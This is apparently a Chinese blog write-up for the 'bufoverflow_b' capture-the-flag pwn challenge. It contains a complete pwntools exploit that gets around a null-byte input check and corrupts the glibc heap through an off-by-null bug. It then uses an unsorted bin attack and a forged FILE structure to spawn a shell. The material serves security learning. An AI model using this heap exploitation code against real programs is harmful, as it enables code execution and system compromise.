攻防世界PWN之bufoverflow_b题解

161 篇文章 8 订阅
161 篇文章 8 订阅

bufoverflow_b

这题和bufferoverflow_a类似,只是在输入的时候,增加了一个检查

遇到空字符就会截断,这将不利于我们在chunk里伪造数据。

另外增加了一个功能,不过我没有使用到。

遇到’\x00’就会截断,但是我们仍然可以完整的把我们的伪造数据放进去。

比如,我们要在偏移0x30处写一个数据0x0000000000123456,我们先把0x30处的8字节数据清零,我们可以这样,第一次payload = ‘a’*0x37 + ‘\x00’,第二次payload = ‘a’*0x36 + ‘\x00’,第三次payload = ‘a’*0x35 + ‘\x00’这样循环8次,即可以把0x30处的8字节数据清零。然后,我们就可以写数据了。payload = ‘a’*0x30 + ‘\x56\x34\x12\x00’。需要注意的时,我们需要照着原来buffoverflow_apayload,倒过来从最后一个数据开始部署。这样,我们才能不把已经部署的给覆盖掉。

直接上exp脚本

#coding:utf8
from pwn import *

sh = process('./bufoverflow_b')
#sh = remote('111.198.29.45',49457)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc.so.6')
_IO_list_all_s = libc.symbols['_IO_list_all']
malloc_hook_s =  libc.symbols['__malloc_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

def create(size):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('Size:',str(size))

def delete(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('Index:',str(index))

def fill(content):
   sh.sendlineafter('>>','3')
   sh.sendafter('Content:',content)

def show():
   sh.sendlineafter('>>','4')
#清零offset处开始8字节的空间
def clean(offset):
   for i in range(7,-1,-1):
      fill('b'*(offset + i) + '\x00')

def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          return possible_IO_str_jumps_offset
#==============泄露libc相关地址============
#0
create(0x80)
#1
create(0x80)
delete(0)
delete(1)
#0申请回来,此时保留了libc指针
create(0x80)
show()
sh.recv(1)
#泄露信息
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) +  (malloc_hook_s & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#===========泄露堆地址====================
#1
create(0x400) #large bin范围的堆释放后会有堆地址
create(0x80) #2
#将1放入unsorted bin
delete(1)
#触发整理unsorted bin,将1放入large bin,从而1里堆有指针
create(0x500) #1
delete(1)
#释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
delete(2)
#此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里
delete(0)
#所有bin都合并了,只剩下一个top块
#错位0x10,使得接下来1的fd位置正好有堆指针
create(0x90) #0
create(0x80) #1
show()
sh.recv(1)
heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
#============================================
delete(0)
delete(1)
#0
create(0x208)
'''fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)'''
#由于限制,我们倒着部署fake_chunk
clean(0x200)
fake_chunk = 'a'*0x200 + '\xE0\x01\x00'
fill(fake_chunk)
clean(0x38)
fake_chunk = 'a'*0x38 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x30)
fake_chunk = 'a'*0x30 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x28)
fake_chunk = 'a'*0x28 + '\xE0\x01\x00'
fill(fake_chunk)
#1
create(0x80)
#2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
#因此不能在2末尾伪造fake_chunk
create(0xF0)
fill('b'*0xF0)

delete(1)
#1
create(0x88)
#fill('b'*0x80 + p64(0x270))
fill('b'*0x88) #off by one
clean(0x80)
fill('b'*0x80 + '\x70\x02\x00')
#合并
delete(2)
####注意
create(0x290)
#重新复原1、2堆的头信息
#fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
clean(0x268)
fill('a'*0x268 + '\x01\x01\x00')
clean(0x1D8)
fill('a'*0x1D8 + '\x91\x00')
#为了delete后我们的内容不被清空或填充,
#我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
#注意顺序!!!
delete(1)
delete(0)

create(0x290) #0
#在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
#也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
#fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
clean(0xB8)
fill('a'*0xB8 + '\x51\x01\x00')
clean(0x28)
fill('a'*0x28 + '\x91\x00')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)

#现在,我们已经可以控制unsorted bin了
payload = 'a'*0x20
#house of orange in 2.24
'''fake_file = p64(0) + p64(0x60)
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
#_IO_write_end 、IO_buf_base
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xD8,'\x00')
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(_IO_str_jumps_addr - 8)
#__dummy2、__finish
fake_file += p64(0) + p64(system_addr)'''

start = 0x20
clean(start + 0xE8)
fill(payload + 'a'*0xE8 + p64(system_addr)[0:7])
clean(start + 0xE0)
clean(start + 0xD8)
fill(payload + 'a'*0xD8 + p64(_IO_str_jumps_addr - 8)[0:7])
for i in range(0xD0,0x38,-8):
   #print hex(i)
   clean(start + i)
clean(start + 0x38)
fill(payload + 'a'*0x38 + p64(binsh_addr)[0:7])
clean(start + 0x30)
clean(start + 0x28)
fill(payload + 'a'*0x28 + '\x01\x00')
clean(start + 0x20)
clean(start + 0x18)
fill(payload + 'a'*0x18 + p64(_IO_list_all_addr-0x10)[0:7])
clean(start + 0x10)
clean(start + 0x8)
fill(payload + 'a'*0x8 + p64(0x60)[0:2])
clean(start + 0)
#raw_input()
create(0x80)

sh.interactive()

 

  • 1
    点赞
  • 0
    收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页
评论 1

打赏作者

ha1vk

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值